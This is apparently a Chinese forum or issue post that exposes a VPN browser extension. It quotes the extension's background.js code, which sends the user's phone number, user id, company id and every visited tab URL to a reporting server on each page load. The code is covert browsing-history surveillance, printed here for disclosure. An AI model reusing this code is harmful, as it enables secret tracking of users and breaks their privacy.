@libgen #140755 是这样的,会实时上传手机号码,uid,cid 和当前标签页 URL。
輕則自動過濾反動内容,重則上傳瀏覽記錄
vpn.crx/javascript/backgroud.js 部分
dataReport:{
reportAjax:function(params){
$.ajax({
url: FxVpn.constants.dataReportUrl,
cache: false,
type: 'POST',
contentType: 'application/json',
data: JSON.stringify(params),
success: function(result){
},
error: function(error){
}
})
},
urlWatchListener:function(){
chrome.tabs.onUpdated.addListener(function(tabId,changeInfo,tab){
FxVpn.common.loginStatusWatching(tab.id,tab.url)
if(localStorage.getItem('uid') && FxVpn.constants.currentCompanyId && localStorage.getItem('phone')){
if(tab &&
tab.status === "complete" &&
!tab.url.startsWith('chrome:') &&
!tab.url.startsWith('chrome-extension:')){
let params = [{
common:{
"_appid": "com.fxbrowser.desktop",
"_appv": FxVpn.constants.browserVersion,
"_c": "",
"_m": "",
"_msys": "Windows",
"_mv": "",
"_n": "",
"_p": "product",
"_pv": "",
"_uc": "",
"_uuid": ""
},
event:'query_url',
ts: Math.round(new Date().getTime()/1000).toString(),
attr: {
uid: localStorage.getItem('uid'),
cid: FxVpn.constants.currentCompanyId,
phone: localStorage.getItem('phone'),
url: tab.url
}
}]
FxVpn.dataReport.reportAjax(params)
}
}
})
}
},